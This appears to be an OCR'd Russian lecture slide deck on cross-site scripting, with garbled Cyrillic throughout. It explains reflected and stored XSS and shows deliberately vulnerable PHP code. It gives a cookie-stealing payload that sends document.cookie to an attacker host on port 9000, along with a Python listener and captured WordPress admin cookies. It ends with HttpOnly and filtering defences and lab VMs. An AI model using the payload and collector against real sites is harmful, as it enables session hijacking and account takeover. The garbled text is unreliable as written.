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MexXcanToBbIn CKpUNTUHT (XSS)

www.food.net A

BHeapeHue JavaScript-koga Ha cTpaHuuy
@\ <htmI>

§<script>

. alert(“danger”);
Slscript>
[lpYMHa BO3ZHUKHOBEHMUSA: </html>

OTCcyTCTBUE/HEKOPPEKTHAsA hunbTpauus
BXOAHbIX AAHHbIX



Buabl

1. OTpaeHHble XSS:
O cepBep cuuTbiBaeT gaHHble HT TP-3anpoca
O W BbIBOAWUT UX HaAMpPAMYIO Ha CTpaHuLe

2. XpaHuMble XSS:

O Be6-MPUIOXKEHME COXPaHSIeT OnacHble faHHble B 6a3e (MK Apyrux MecTax)
O  3aTeM MNokasblBaeT NoNb30BaTeNsAM NpW 3arpy3Ke CTpaHuULbl



OTpa)keHHble XSS wwwfood net A

(<> A

PesynbraThl noncka no 3anpocy

“KapeHas BULLHSA"
|
alert(“danger”); -

:</script>

. HoBoe

é“OCTYHneHMe é \\i?ﬂnﬂ> 4///

- XKapeHOoW BULLHMU:
. CMOTpeTb



http://www.food.net?search=
http://www.food.net?search=

XpaHUMble XSS

www.food.net/forum &

Q.

dopym egokoB = PeuenTbl

:ConnM BULLHIO ... :

"<script> '
alert(“danger”);
</script>

ﬁ </htmi> /




[IpMmep ya3BUMOTO Kop,a Dice

192.168.56.101/save_worlc X

- $n - $_GET["n"]; :

: $r=rand() % 6; | < C o © & 192.168.56.101/save_world.php?n=6
: echo "<div style='font-size:100'>&#98" (56+%r) :
Dore/dive";

: echo "Guess: " . $n . "<br/>";

L if ($r+l $n) {

. echo "<b>Success!</b>"; ;
: } else { :
: echo "Fail"; :

S Guess: 6
save_world.php Success!

Koo cogepxut XSS-
YA3BMMOCTb B NapameTpe

n
$var 3anucb nepemMeHHbix B PHP

: KOHKaTeHauus CTpoK
$ GET napametpbl B HTTP GET (aHanornyHo: $ COOKIE, $ POST)
&#9856 BcTaBka cumBona KOHMkoga ¢ Homepom 9856 (m) B HTML



JkcnnyaTtauusa |. [NepeHanpaBneHune

- CmoTpu Kakas

ﬁ . urpa: ccbuika @



http://yandex.ru

[lepeHanpaBneHna. Yem onacHo?

[Nonb3oBaTeNlb OTKPbIBAET CCbISIKY

Ha JOBEpPEHHbIN CauT. @ \A

XaKepbl NepeHanpaBnsatoT Ha: qggggg)
® pek/laMHble canThbl BPOKKOM 10
e (danbluMBble CTpaHULbl BBOAA g P

nornHa/napons



IkcnnyaTtauua ll. Kpaxka ceccuu

e [lonyyeHue Cookie B JS: document.cookie

e 3HayeHWe nepenaéTca Ha cepBep Xxakepa BCTAaBKOM KoJa Ha CTPaHuLY,

HanpuMmep:
(new Image()).src "http://192.168.56.103:9000/" document.cookie

- CMOTpM KaKas

. Mrpa: ccbiika @




[TpnMmep yAa3BMMOIro BEO-NMPUNOKEHNS

WackoPicko.com

Home Upload Recent Guestbook Cart

Pictures that are tagged as 'XSS'

No pictures here...

Home | Admin | Contact | Terms of Service



http.server
socketserver
: requests
. PORT = 9000

- class MyHandler(http.server.BaseHTTPRequestHandler):
: def do GET(s):
"""Respond to a GET request."""
s.send_response(200)
s.send_header("Content-type", "text/html")
s.end_headers()
print(requests.utils.unquote(s.path) "\n")

; with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
: print("serving at port", PORT)
httpd.serve_forever()

XSserver.py



BbiBOA Ha cepBepe

NTOTMH U X3l Naposs
wordpress

S python3 xserver2.py
- serving at port 9000

/wordpressuser_384fb21781a20f8ade8b1718d2a9754a=admin,
- wordpresspass_384fb21781a20f8ade8b1718d2a9754a=c3284d0f94606de1fd2af172aba15bf3;
~ dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-,2-

[NonyyeHmne gocTtyna K canty ot admin:
e rocTaBuUTb 3HauyeHus Cookie B MHCTpyMeHTax pa3paboTymKa
6pays3epa Uan ¢ NOMOLLbO pacLLUMPEHUN



3awuTta ot XSS. PHP

° CDvmprau,Mﬂ CI'IeLI,CVIMBOJ'IOB N TEroB.:

o Ba)KHO 4YTOObI KOOMPOBKN B BbIBOAE U NPU (I)VIJ'IpraLI,VIVI coBnagasu, MHaye
MOXXHO OGONTN 3aLNTy

e ®dunbTpaumsa AoKHa 6blTb Ha CTOPOHE cepBepa



3awmTa ot XSS. dnar HttpOnly

3anpeT noayyYyeHuss Kykun yepes document.cookie

PaboTaeT co CTOpPOHbI cepBepa
3aronoBok HTTP:
o Set-Cookie: id=value; HttpOnly
MO>XHO UCrnonb30oBaThb AJ1 OTAE/bHbIX 3HAYEHUN
Cnepnyet ucnonbsoBatb onsa 3HayeHun suga ID-ceccumn, sBpoge PHPSESSID
[Nopaep)xmBaeTcs He BCeMU bpaysepamu
[MapameTp session.cookie_httponly B panne koHpurypauum PHP



Ina TPeHUPOBKHU

e OWASP Broken Web Apps VM
o  WackoPicko

o Mutillidae Il

e Metasploitable 2, 3
o  Mutillidae

e XSS game

o https://xss-game.appspot.com/



https://xss-game.appspot.com/

JInTepaTtypa u CCbINKK

Metasploitable 2 n 3 - cuctembl ans TpPEHUPOBKHU

o https://sourceforge.net/projects/metasploitable/

o https://qithub.com/brimstone/metasploitable3/releases
CWE-79: Improper Neutralization of Input During Web Page Generation
(‘Cross-site Scripting’)

o https://cwe.mitre.org/data/definitions/79.html



https://sourceforge.net/projects/metasploitable/
https://github.com/brimstone/metasploitable3/releases
https://cwe.mitre.org/data/definitions/79.html

